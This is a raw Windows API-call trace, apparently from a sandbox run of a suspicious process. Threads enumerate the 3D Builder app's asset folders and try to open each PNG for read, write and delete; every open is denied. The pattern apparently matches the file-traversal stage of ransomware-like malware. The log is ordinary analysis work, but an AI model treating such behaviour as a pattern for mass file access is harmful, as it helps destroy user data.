	[0079.615] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\HeroHelp\\*", lpFindFileData=0x2db91d0 | out: lpFindFileData=0x2db91d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x972809b4, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xa998957e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x972da738, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d70a40
	[0079.615] wcscmp (_String1=".", _String2=".") returned 0
	[0079.615] FindNextFileW (in: hFindFile=0x2d70a40, lpFindFileData=0x2db91d0 | out: lpFindFileData=0x2db91d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x972809b4, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xa998957e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x972da738, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.615] wcscmp (_String1="..", _String2=".") returned 1
	[0079.615] wcscmp (_String1="..", _String2="..") returned 0
	[0079.615] FindNextFileW (in: hFindFile=0x2d70a40, lpFindFileData=0x2db91d0 | out: lpFindFileData=0x2db91d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x972809b4, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x972c9c74, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x972c9c74, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x62865, dwReserved0=0x0, dwReserved1=0x0, cFileName="Scenario1.png", cAlternateFileName="")) returned 1
	[0079.615] wcscmp (_String1="Scenario1.png", _String2=".") returned 1
	[0079.615] wcscmp (_String1="Scenario1.png", _String2="..") returned 1
	[0079.615] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xde) returned 0x4e32340
	[0079.615] wcscpy (in: _Dest=0x4e32340, _Source="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\HeroHelp" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\HeroHelp") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\HeroHelp"
	[0079.615] wcscat (in: _Dest=0x4e32340, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\HeroHelp\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\HeroHelp\\"
	[0079.616] wcscat (in: _Dest=0x4e32340, _Source="Scenario1.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\HeroHelp\\Scenario1.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\HeroHelp\\Scenario1.png"

Thread:
	id = 801
	os_tid = 0x1bb0

	[0079.616] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\LightBlue.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\lightblue.png")) returned 0x20
	[0079.618] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\LightBlue.png", dwFileAttributes=0x20) returned 0
	[0079.618] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\LightBlue.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\lightblue.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0079.618] GetLastError () returned 0x5
	[0079.618] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\LightBlue.png", dwFileAttributes=0x20) returned 0
	[0079.618] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477c6e0) returned 1

Thread:
	id = 802
	os_tid = 0x1bb4

	[0079.619] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\LoadIconRTL_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\loadiconrtl_contrast-black.png")) returned 0x20
	[0079.620] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\LoadIconRTL_contrast-black.png", dwFileAttributes=0x20) returned 0
	[0079.621] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\LoadIconRTL_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\loadiconrtl_contrast-black.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0079.621] GetLastError () returned 0x5
	[0079.621] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\LoadIconRTL_contrast-black.png", dwFileAttributes=0x20) returned 0
	[0079.621] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4751d88) returned 1

Thread:
	id = 803
	os_tid = 0x1bb8

	[0079.622] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\LoadIconRTL_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\loadiconrtl_contrast-white.png")) returned 0x20
	[0079.622] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\LoadIconRTL_contrast-white.png", dwFileAttributes=0x20) returned 0
	[0079.622] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\LoadIconRTL_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\loadiconrtl_contrast-white.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0079.622] GetLastError () returned 0x5
	[0079.622] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\LoadIconRTL_contrast-white.png", dwFileAttributes=0x20) returned 0
	[0079.623] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4752830) returned 1

Thread:
	id = 804
	os_tid = 0x1bbc

	[0079.624] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\LoadIcon_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\loadicon_contrast-black.png")) returned 0x20
	[0079.624] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\LoadIcon_contrast-black.png", dwFileAttributes=0x20) returned 0
	[0079.624] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\LoadIcon_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\loadicon_contrast-black.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0079.624] GetLastError () returned 0x5
	[0079.624] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\LoadIcon_contrast-black.png", dwFileAttributes=0x20) returned 0
	[0079.624] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47eb7f8) returned 1

Thread:
	id = 805
	os_tid = 0x1bc0

	[0079.625] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\LoadIcon_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\loadicon_contrast-white.png")) returned 0x20
	[0079.626] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\LoadIcon_contrast-white.png", dwFileAttributes=0x20) returned 0
	[0079.626] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\LoadIcon_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\loadicon_contrast-white.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0079.626] GetLastError () returned 0x5
	[0079.626] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\LoadIcon_contrast-white.png", dwFileAttributes=0x20) returned 0
	[0079.626] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47eaf88) returned 1

Thread:
	id = 806
	os_tid = 0x1bc4

	[0079.627] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd2) returned 0x2e44ec0
	[0079.627] wcscpy (in: _Dest=0x2e44ec0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets"
	[0079.627] wcscat (in: _Dest=0x2e44ec0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\"
	[0079.627] wcscat (in: _Dest=0x2e44ec0, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\*"
	[0079.627] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2db9438
	[0079.627] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\*", lpFindFileData=0x2db9438 | out: lpFindFileData=0x2db9438*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x97326c19, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xa998a0eb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x974a57e1, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d70ac0
	[0079.628] wcscmp (_String1=".", _String2=".") returned 0
	[0079.628] FindNextFileW (in: hFindFile=0x2d70ac0, lpFindFileData=0x2db9438 | out: lpFindFileData=0x2db9438*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x97326c19, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xa998a0eb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x974a57e1, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.628] wcscmp (_String1="..", _String2=".") returned 1
	[0079.628] wcscmp (_String1="..", _String2="..") returned 0
	[0079.628] FindNextFileW (in: hFindFile=0x2d70ac0, lpFindFileData=0x2db9438 | out: lpFindFileData=0x2db9438*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x97326c19, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xa9a18213, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x9739a738, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="contrast-black", cAlternateFileName="CONTRA~1")) returned 1
	[0079.628] wcscmp (_String1="contrast-black", _String2=".") returned 1
	[0079.628] wcscmp (_String1="contrast-black", _String2="..") returned 1
	[0079.628] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xec) returned 0x4751aa0
	[0079.628] wcscpy (in: _Dest=0x4751aa0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets"
	[0079.628] wcscat (in: _Dest=0x4751aa0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\"
	[0079.628] wcscat (in: _Dest=0x4751aa0, _Source="contrast-black" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\contrast-black") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\contrast-black"

Thread:
	id = 807
	os_tid = 0x1bc8

	[0079.629] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\MediumBlue.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\mediumblue.png")) returned 0x20
	[0079.632] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\MediumBlue.png", dwFileAttributes=0x20) returned 0
	[0079.633] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\MediumBlue.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\mediumblue.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0079.633] GetLastError () returned 0x5
	[0079.633] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\MediumBlue.png", dwFileAttributes=0x20) returned 0
	[0079.633] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477d7c0) returned 1

Thread:
	id = 808
	os_tid = 0x1bcc

	[0079.634] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc2) returned 0x47ca550
	[0079.634] wcscpy (in: _Dest=0x47ca550, _Source="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Office" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Office") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Office"
	[0079.634] wcscat (in: _Dest=0x47ca550, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Office\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Office\\"
	[0079.634] wcscat (in: _Dest=0x47ca550, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Office\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Office\\*"
	[0079.634] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2db7758
	[0079.634] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Office\\*", lpFindFileData=0x2db7758 | out: lpFindFileData=0x2db7758*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x974a57e1, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xa9aa16f0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x975664ea, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d70800
	[0079.636] wcscmp (_String1=".", _String2=".") returned 0
	[0079.636] FindNextFileW (in: hFindFile=0x2d70800, lpFindFileData=0x2db7758 | out: lpFindFileData=0x2db7758*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x974a57e1, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xa9aa16f0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x975664ea, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.637] wcscmp (_String1="..", _String2=".") returned 1
	[0079.637] wcscmp (_String1="..", _String2="..") returned 0
	[0079.637] FindNextFileW (in: hFindFile=0x2d70800, lpFindFileData=0x2db7758 | out: lpFindFileData=0x2db7758*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x974a57e1, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x974cba3a, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x974cba3a, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xc5d, dwReserved0=0x0, dwReserved1=0x0, cFileName="BooleanIntersect.scale-100.png", cAlternateFileName="")) returned 1
	[0079.637] wcscmp (_String1="BooleanIntersect.scale-100.png", _String2=".") returned 1
	[0079.637] wcscmp (_String1="BooleanIntersect.scale-100.png", _String2="..") returned 1
	[0079.637] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xfc) returned 0x47cc458
	[0079.637] wcscpy (in: _Dest=0x47cc458, _Source="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Office" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Office") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Office"
	[0079.637] wcscat (in: _Dest=0x47cc458, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Office\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Office\\"
	[0079.637] wcscat (in: _Dest=0x47cc458, _Source="BooleanIntersect.scale-100.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Office\\BooleanIntersect.scale-100.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Office\\BooleanIntersect.scale-100.png"

Thread:
	id = 809
	os_tid = 0x1bd0

	[0079.636] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc8) returned 0x47ca620
	[0079.636] wcscpy (in: _Dest=0x47ca620, _Source="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Resources" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Resources") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Resources"
	[0079.636] wcscat (in: _Dest=0x47ca620, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Resources\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Resources\\"
	[0079.636] wcscat (in: _Dest=0x47ca620, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Resources\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Resources\\*"
	[0079.636] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4759d70
	[0079.636] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Resources\\*", lpFindFileData=0x4759d70 | out: lpFindFileData=0x4759d70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x975664ea, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xa9aa22bd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x9758c747, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d70840
	[0079.637] wcscmp (_String1=".", _String2=".") returned 0
	[0079.637] FindNextFileW (in: hFindFile=0x2d70840, lpFindFileData=0x4759d70 | out: lpFindFileData=0x4759d70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x975664ea, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xa9aa22bd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x9758c747, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.637] wcscmp (_String1="..", _String2=".") returned 1
	[0079.637] wcscmp (_String1="..", _String2="..") returned 0
	[0079.637] FindNextFileW (in: hFindFile=0x2d70840, lpFindFileData=0x4759d70 | out: lpFindFileData=0x4759d70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x975664ea, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x975664ea, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x975664ea, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x136b, dwReserved0=0x0, dwReserved1=0x0, cFileName="cursorXBOX_active.png", cAlternateFileName="")) returned 1
	[0079.637] wcscmp (_String1="cursorXBOX_active.png", _String2=".") returned 1
	[0079.637] wcscmp (_String1="cursorXBOX_active.png", _String2="..") returned 1
	[0079.637] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf0) returned 0x4751c90
	[0079.637] wcscpy (in: _Dest=0x4751c90, _Source="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Resources" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Resources") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Resources"
	[0079.638] wcscat (in: _Dest=0x4751c90, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Resources\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Resources\\"
	[0079.638] wcscat (in: _Dest=0x4751c90, _Source="cursorXBOX_active.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Resources\\cursorXBOX_active.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Resources\\cursorXBOX_active.png"

Thread:
	id = 810
	os_tid = 0x1bd4

	[0079.638] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\ScanIcon_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\scanicon_contrast-black.png")) returned 0x20
	[0079.639] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\ScanIcon_contrast-black.png", dwFileAttributes=0x20) returned 0
